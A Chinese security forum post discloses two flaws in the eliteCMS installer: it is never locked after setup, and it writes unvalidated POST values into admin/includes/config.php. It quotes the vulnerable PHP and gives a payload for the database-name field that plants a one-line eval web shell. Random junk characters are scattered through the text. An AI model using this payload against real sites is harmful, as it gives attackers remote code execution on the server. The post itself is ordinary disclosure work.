找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2306|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装& j; w5 E5 I6 T8 ], z7 ?6 i

& R0 D/ k$ I& d另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 ?: E* t& L7 m我们来看代码:
7 f8 B& P3 A) h , t5 B2 ?/ x2 ], e# U& o% K0 r
..., q0 g9 t! T' ?) r8 o/ k
elseif ($_GET['step'] == "4") {
. w- @8 E8 @5 d% C3 p" U1 Z) }1 q    $file = "../admin/includes/config.php";- e1 I' i4 B3 b3 j! Y/ e
    $write = "<?php\n";
1 l; X$ _" A- s    $write .= "/**\n";9 u) a) I- y% _6 o- h% U
    $write .= "*\n";
; I3 Q0 |; F2 B# @    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
# l) g4 e; l# ]; C" [4 e$ z# Y...略...% Q/ e$ A9 E4 k% \8 i& W; F
    $write .= "*\n";
9 v: U, I' z( F+ d) P    $write .= "*/\n";3 a' a7 D+ |4 P
    $write .= "\n";5 N$ i0 P# T* Z- h3 h
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
4 b3 l& u. F/ @& \9 F' w    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
' _& \4 h/ q/ H1 G7 C1 C* Q    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";& o3 A, N! p) m! p7 ]' D
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
  j8 P7 p  y6 d7 g; O' o    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";$ ?/ y& v6 l5 s- X; p* j
    $write .= "if (!\$connection) {\n";
% K2 F3 t6 p" x* o4 x) t    $write .= "        die(\"Database connection failed\" .mysql_error());\n";4 Z- x+ @; p6 t
    $write .= "        \n";7 l" F! n- l0 X, B+ x
    $write .= "} \n";  m4 w. _# `5 Q) ]+ B3 ^
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
7 U; E- i# ?1 a6 x7 x4 {3 m1 M    $write .= "if (!\$db_select) {\n";
- P1 ?9 ?# h" ~% w    $write .= "        die(\"Database select failed\" .mysql_error());\n";
7 W8 q3 r* m$ L    $write .= "        \n";
4 M# k4 X' B1 y( W8 L; J    $write .= "} \n";
* ?0 s; E* E- L! [    $write .= "?>\n";4 _, ^4 r* H; \- Q" l5 S( U

7 i6 ~8 K9 e- x5 @4 k# K, a    $writer = fopen($file, 'w');
1 _8 v3 V7 k" D, `( i  c...8 k+ R- \4 \3 Y! F9 b6 y- i& t# h9 i

" H/ y3 n8 o8 t3 B4 I0 P2 U; x在看代码:3 V/ H, ~( E" K, p* h

" [; r( X3 ^/ Q) C6 u2 j3 c$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];$ m' ^6 ]) E8 f. X' w
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];& f0 u1 U* w( }' M7 A
$_SESSION['DB_USER'] = $_POST['DB_USER'];2 ]4 ~4 V& i6 O2 D( ]. x$ ~1 U" p& ^
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];: B8 A! {4 p1 W$ x

) A3 _# j+ i- i9 M+ V7 L, F取值未作任何验证" l5 p8 o, a' M3 G2 h
如果将数据库名POST数据:
' T; E2 Y- T0 G& ^7 m ! P, i7 r* D' d4 K8 v+ L
"?><?php eval($_POST[c]);?><?php
+ D5 R, l+ B. L8 c& K7 R # o5 |8 N) u! F
将导致一句话后门写入/admin/includes/config.php
, Z+ D% ~& k) h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表